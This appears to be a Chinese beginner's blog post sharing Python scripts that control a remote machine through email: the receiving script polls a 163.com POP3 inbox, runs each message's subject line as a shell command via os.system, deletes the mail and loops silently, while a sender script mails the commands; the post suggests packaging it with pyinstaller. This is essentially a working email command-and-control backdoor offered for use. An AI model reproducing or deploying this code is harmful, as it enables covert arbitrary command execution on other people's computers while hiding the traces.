初习,代码有不足之处,欢迎指出。

跟大家分享的是,通过发送端发送cmd命令,从而对接收端进行cmd命令的控制。

 #接收端代码
from poplib import POP3
import time,os
while True:
try:
f=POP3('pop.163.com')
f.user('XXX@163.com') #邮箱号
f.pass_('授权码')
a=f.top(1,10) #读取第一个邮件的前10行,返回的是一个元组
r1=a[1] #取元组的第二个列表
for i in r1:
X=bytes(i).decode('ascii') #将字节码转换成字符码
if X.find('Subject')==0: #查找标题
y=X[8:len(X)].strip()
f.dele(1) #删除邮件
os.system(y) #主要目的,执行的命令
f.quit() # 退出邮箱
time.sleep(5) #等待5秒钟继续连接邮箱
except:continue
#发送端代码
import smtplib,time
while True:
try:
f=smtplib.SMTP('smtp.163.com')
f.login('XXX@163.com','授权码')
shu = input('输入指令,按空格退出:') #这里是接收输入的命令
if (shu==' '):
break
mm=('To:XXX@163.com\r\nFrom:XXX@163.com\r\nSubject:%s\r\n\r\nw\r\n'%shu)
#邮件里显示的内容,To:收件人,From发件人,Subject主题,内容
f.sendmail('XXX@163.com','XXX@163.com',mm) #发件人,收件人,发送内容
f.close()
except:
print('出现不明错误,等待5秒继续输入!')
time.sleep(5)
continue

可以通过pyinstaller.py对文件进行打包,这样使用起来就更加方便了。

最新文章

  1. 【C#】 知乎用户网络爬虫
  2. textarea文本简单样式编辑
  3. UCOS-互斥信号量(学习笔记)
  4. create feature from text file
  5. [Android]Fragment源代码分析(二) 状态
  6. XAMPP 使用教程
  7. form 转json最佳示例
  8. openstack theme topic
  9. 【CSS学习笔记】CSS选择器
  10. Kubernetes环境下的各种调试方法
  11. zookeeper 应用场景概述
  12. php隔行换色输出表格
  13. Django项目目录介绍
  14. C#使用RabbitMQ
  15. 基于kubernetes集群部署DashBoard
  16. java-类中需注意的问题
  17. 《DSP using MATLAB》Problem 7.1
  18. 静态性能测试-hc课堂笔记
  19. php5.6 的interactive模式
  20. POJ2374 Fence Obstacle Course

热门文章

  1. 微信重排版 URL
  2. 虚拟机CentOS6.8下安装mycat
  3. cg基础
  4. Twilio介绍和使用
  5. ZBrush功能特性之法线贴图
  6. h5 input失去焦点软键盘把页面顶起
  7. 【转载】02-PowerDesigner的下载及安装
  8. java jar打包命令使用
  9. 查看centos7启动项
  10. vue.js的<slot>